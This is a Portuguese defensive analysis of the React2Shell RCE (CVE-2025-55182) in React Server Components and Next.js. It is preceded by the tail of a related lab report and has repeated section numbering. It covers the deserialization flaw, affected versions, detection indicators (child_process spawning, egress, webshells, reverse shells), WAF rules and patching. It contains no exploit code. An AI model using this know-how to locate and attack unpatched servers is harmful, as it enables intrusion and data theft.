Os resultados de execução imediata do comando confirmam a necessidade de apenas acessar a rede, dispensando autenticação ou elevação de privilégios, o que permite inferir que a exploração ocorre como um ponto cego nos sistemas que ainda não possuem assinaturas ou modelos de detecção ajustados para o protocolo Flight ou requisições POST em geral.

4.2 Sobre o ambiente que detectou e bloqueou o ataque

Os alertas foram precisos e mencionaram explicitamente a tentativa de injeção de comando, exploração vinculada ao CVE-2025-55182 e a identificação do endpoint alvo. Isso confirma a eficiência e necessidade de agentes monitoradores atualizados e competentes para a segurança de servidores abertos à Internet, uma vez que não é possível prever o surgimento de toda vulnerabilidade capaz de destruir o sistema alvo.


5. Conclusões

A vulnerabilidade CVE-2025-55182 apresenta características típicas de uma falha altamente explorável, combinando baixa complexidade, impacto máximo, exploração silenciosa e ampla superfície de ataque (React + Next.js).

Os resultados laboratoriais evidenciam que assinaturas tradicionais não são suficientes para detectar o ataquedetecção comportamental em nível de processo e rede é determinante para identificar anomalias — e explicam o curto intervalo de tempo entre divulgação e exploração, pela facilidade desta, com grupos ativamente desenvolvendo variantes.

Ambientes que dependem apenas do antivírus nativo ou ferramentas desatualizadas ficam completamente expostos.

6. Mitigação e Recomendações

Para mitigar a vulnerabilidade CVE-2025-55182, recomenda-se:

  • Atualizar o Next.js para versão 16.0.7 ou superior – Sendo a ação mais crítica e urgente para todos os ambientes de produção.
  • Monitorar eventos ou tentativas de execução de payload – Implementar regras de detecção em plataformas EDR para identificar requisições POST suspeitas direcionadas a Server Functions.
  • Implementar Web Application Firewall (WAF) com regras para detectar chaves com ‘$’ e ‘:’ já que são características de ataques abusando dessa vulnerabilidade.
  • Manter logs detalhados de requisições POST e analisar regularmente para atividades suspeitas.
  • Realizar auditorias de segurança em aplicações React/Next.js para identificar potenciais pontos de exposição.

Caso necessário, é possível atribuir um limite de recursos ao processo do Node.js, isolar em containers (Hardening) ou feature flags para desativar parcialmente a RSC onde não for necessária.


REFERÊNCIAS

[1] NIST National Vulnerability Database, “CVE-2025-55182,” NVD, 3 de dezembro de 2025. [Online]. Disponível em: https://nvd.nist.gov/vuln/detail/CVE-2025-55182. [Acessado em: 10-Dez-2025].

[2] msanft, “CVE-2025-55182,” GitHub, 4 de dezembro de 2025. [Online]. Disponível em: https://github.com/msanft/CVE-2025-55182. [Acessado em: 10-Dez-2025].

[3] CJ Moses, “China-nexus cyber threat groups rapidly exploit React2Shell vulnerability (CVE-2025-55182),” Amazon Security Blog, 4 de dezembro de 2025. [Online]. Disponível em: https://aws.amazon.com/blogs/security/china-nexus-cyber-threat-groups-rapidly-exploit-react2shell-vulnerability-cve-2025-55182/. [Acessado em: 10-Dez-2025].

[4] Rapid7, “React2Shell (CVE-2025-55182) – Critical unauthenticated RCE affecting React Server Components,” Rapid7 Blog, 4 de dezembro de 2025 (lançamento); 8 de dezembro de 2025 (atualização). [Online]. Disponível em: https://www.rapid7.com/blog/post/etr-react2shell-cve-2025-55182-critical-unauthenticated-rce-affecting-react-server-components/. [Acessado em: 10-Dez-2025].

Vol. 1 No. 20251208-1043 (2025)

React2Shell: Análise Aprofundada da Vulnerabilidade no React

Adriano Cansian | adriano.cansian@unesp.br | 08/12/2025


ATUALIZAÇÃO em 11/12/2025:

O valor do EPSS saltou de 13,9% em 08/12/2025 para 76,01% HOJE 11/12/2025.

Com um valor de CVSS 10,0 é fundamental que sejam aplicadas as medidas de resolução imediatamente.


1. Introdução

No início de dezembro de 2025, uma vulnerabilidade de severidade crítica, apelidada de React2Shell, emergiu, abalando a comunidade de desenvolvimento web.

Identificada oficialmente como CVE-2025-55182, trata-se de uma falha de Execução Remota de Código Não Autenticada ou Unauthenticated Remote Code Execution (Unauthenticated RCE) e recebeu a pontuação máxima de 10.0 no Common Vulnerability Scoring System (CVSS), sinalizando um risco extremo para uma vasta gama de aplicações modernas.

Uma Execução Remota de Código Não Autenticada é uma vulnerabilidade que permite a um atacante executar comandos ou código arbitrário em um servidor remoto sem necessidade de possuir credenciais válidas ou autenticação prévia.

Diferentemente de vulnerabilidades que exigem que o invasor esteja logado ou tenha acesso autorizado ao sistema, uma Unauthenticated RCE pode ser explorada por qualquer pessoa com acesso à rede (geralmente a internet), tornando-a extremamente perigosa.

A vulnerabilidade reside no coração dos React Server Components (RSC), uma tecnologia cada vez mais adotada em frameworks populares como Next.js, afetando potencialmente mais de 40% dos principais websites da Internet.

Este artigo oferece uma análise técnica aprofundada da React2Shell, detalhando seu mecanismo de exploração, o impacto que pode causar e as medidas essenciais que as equipes de segurança e desenvolvimento devem tomar para mitigar esta ameaça iminente.


2. O Mecanismo da Exploração: Desserialização Insegura

A React2Shell NÃO é uma vulnerabilidade comum. Sua periculosidade reside na simplicidade de sua exploração.

Um atacante, sem qualquer tipo de autenticação, pode comprometer completamente um servidor vulnerável através de uma única requisição HTTP POST maliciosamente elaborada.

A raiz do problema está na forma como os React Server Components lidam com a desserialização de dados.

Quando um cliente envia uma requisição para um endpoint que utiliza Server Functions, o React transforma os dados recebidos em chamadas de função do lado do servidor.

Durante este processo, a vulnerabilidade permite que um payload manipulado seja desserializado sem as devidas validações de segurança. Isso cria um caminho direto para que o atacante injete e execute código arbitrário com os mesmos privilégios do processo do servidor Node.js, abrindo as portas para um comprometimento total do sistema.


2. Análise de Impacto: As Consequências de uma Exploração Bem-Sucedida

Uma vulnerabilidade de RCE pré-autenticação é o ativo mais cobiçado no arsenal de um agente malicioso. No caso da React2Shell, as consequências de uma exploração bem-sucedida são catastróficas e podem se manifestar de várias formas:

  • Comprometimento Total da Infraestrutura: O atacante obtém controle total sobre o servidor, permitindo acesso irrestrito ao sistema de arquivos, roubo de credenciais e a instalação de backdoors para acesso persistente.
  • Exfiltração de Dados Sensíveis: Uma vez dentro do sistema, o invasor pode acessar e exfiltrar informações críticas, como bancos de dados de clientes, segredos de aplicação (chaves de API, tokens), propriedade intelectual e lógica de negócios.
  • Movimento Lateral na Rede: O servidor comprometido torna-se um ponto de pivô, a partir do qual o atacante pode lançar novas ofensivas contra outros sistemas internos, bancos de dados e recursos na nuvem, expandindo o alcance do ataque por toda a organização.
  • Ataques de Ransomware e Interrupção de Negócios: Com controle total, os atacantes podem implantar ransomware, criptografando dados vitais e exigindo um resgate, ou simplesmente interromper as operações, causando perdas financeiras e danos à reputação.


2. Descrição Técnica

A vulnerabilidade decorre de desserialização insegura no protocolo Flight, mecanismo responsável por transportar estruturas dos Server Components entre cliente e servidor.

Ao receber um payload malicioso, o servidor interpreta dados arbitrários como referências de função, o que permite execução remota de código com privilégios equivalentes ao processo Node.js.

Condições de exploração

  • Não exige autenticação;
  • Não exige cookie, API key ou token;
  • Pode ser explorada por qualquer atacante com acesso ao endpoint RSC;
  • Vetor principal: HTTP POST com conteúdo Flight manipulado.

Impacto técnico

  • Execução remota de código (RCE);
  • Execução arbitrária de processos no host ou container;
  • Exfiltração de dados sensíveis;
  • Movimento lateral;
  • Possível comprometimento total de infraestrutura (quando mal configurada).

3. Sistemas Afetados

3.1 React e bibliotecas centrais

Conforme registros do NVD:

PacoteVersões vulneráveisVersões corrigidas
react-server-dom-webpack19.0.0 a 19.2.019.0.1+, 19.1.2+, 19.2.1+
react-server-dom-parcel19.0.0 a 19.2.019.0.1+, 19.1.2+, 19.2.1+
react-server-dom-turbopack19.0.0 a 19.2.019.0.1+, 19.1.2+, 19.2.1+

3.2 Frameworks afetados

  • Next.js versões 15.x e 16.x;
    Associado adicionalmente ao CVE-2025-66478, conforme documentação CISA/NVD.
  • React Router com RSC;
  • Expo;
  • RedwoodJS;
  • Waku;
  • Plugins de integração RSC para Vite, Parcel e Turbopack.

4. Vetor de Ataque e Indicadores de Exploração

4.1 Vetor primário

POST /<endpoint-rsc>  
Content-Type: application/json  
Payload malformado contendo blocos Flight manipulados

4.2 Indicadores observáveis

  • Logs de erro do Flight referentes a parsing inesperado;
  • Picos súbitos de CPU em processos Node.js;
  • Tentativas de criação de processos via child_process.spawn/exec;
  • Comunicação egressa para hosts desconhecidos
  • Criação de artefatos suspeitos em /tmp em containers Linux

4.3 Atividade Maliciosa Confirmada

Organizações de segurança reportaram:

  • Scanners em larga escala buscando endpoints RSC;
  • Explorações automatizadas visando Next.js exposto;
  • Comprometimento de clusters Kubernetes negligentemente isolados;
  • Uso da vulnerabilidade para implantação de webshells e reverse shells.

5. Mitigação

5.1 Patching obrigatório

Aplicar imediatamente as versões corrigidas dos pacotes React RSC e atualizar aplicações Next.js para releases não vulneráveis.


5.2 Controles compensatórios (temporários)

  • Regras de WAF para bloquear payloads suspeitos do protocolo Flight;
  • Monitoramento agressivo de tráfego de egressão;
  • Habilitar logs completos de chamadas RSC;
  • Bloquear criação de processos filho por Node.js quando possível;
  • Reforçar políticas noexec em diretórios temporários.

5.3 Defesa em profundidade

  • Execução do Node.js com mínimo privilégio;
  • Isolamento adequado de containers e namespaces;
  • Mecanismos RASP como camada adicional;

6. Avaliação de Risco

A vulnerabilidade é considerada Crítica, nível máximo no CVSS 10.0, devido a:

  • Exploração ativa confirmada globalmente
  • Ausência de barreiras de autenticação
  • Impacto direto em aplicações amplamente adotadas (React/Next.js)
  • Possibilidade de comprometimento total do ambiente

É altamente recomendável priorizar a correção em ambientes expostos à internet.

6.1. Sobre o EPSS e CVVS Score para React2Shel

MétricaValor
Score Inicial0.46%
Score Atual13.86% (8 de dezembro de 2025)
76,01% (atualizado em 11/12/2025)
PercentilEm atualização contínua

O Problema: Uma Discrepância Crítica

Existe uma divergência significativa entre o CVSS (10.0 – Crítico) e o EPSS (13.86%), que revela uma limitação importante dos sistemas de scoring automatizados.

É importante entender que o EPSS é um “indicador retardado” (lagging indicator).

Embora tenha subido de 0.46% para 13.86% desde o início da publicação do CVE, ainda está muito abaixo do que os níveis reais de exploração justificariam, porque:

  1. Exploração Ativa em Andamento: Grupos de ameaças vinculados à China já foram observados explorando a vulnerabilidade (AWS)
  2. Liderança em Bug Bounty: É o #1 CVE mais explorado na plataforma HackerOne
  3. Remediação Acelerada: Organizações estão remediando em menos de um dia em média
  4. Escala Massiva: Mais de 12 milhões de sites potencialmente vulneráveis.

O Que Isso Significa

O EPSS demonstra que sistemas de scoring automatizados podem não acompanhar o ritmo de exploração em tempo real. Isso ressalta a importância de:

  • Não depender apenas de scores automatizados para priorização de vulnerabilidades críticas.
  • Usar feedback em tempo real de comunidades de segurança (bug bounty, threat intelligence).
  • Considerar o contexto operacional além dos scores numéricos

Referências:

  1. Portal informativo sobre a vulnerabilidade: https://react2shell.com/
  2. NVD / NIST – CVE-2025-55182
    https://nvd.nist.gov/vuln/detail/CVE-2025-55182
  3. CVE.org – CVE Record CVE-2025-55182
    https://www.cve.org/CVERecord?id=CVE-2025-55182
  4. NVD / NIST – CVE-2025-66478 (Next.js)
    https://nvd.nist.gov/vuln/detail/CVE-2025-66478
  5. React Team. React Server Components Documentation.
    https://react.dev/reference/react-server
  6. React Flight Protocol (repositório oficial).
    https://github.com/facebook/react/tree/main/packages/react-server
  7. Vercel. Next.js App Router and React Server Components.
    https://nextjs.org/docs/app/building-your-application/rendering/server-components
  8. MITRE. CWE-502: Deserialization of Untrusted Data
    https://cwe.mitre.org/data/definitions/502.html
  9. OWASP. Deserialization of Untrusted Data
    https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data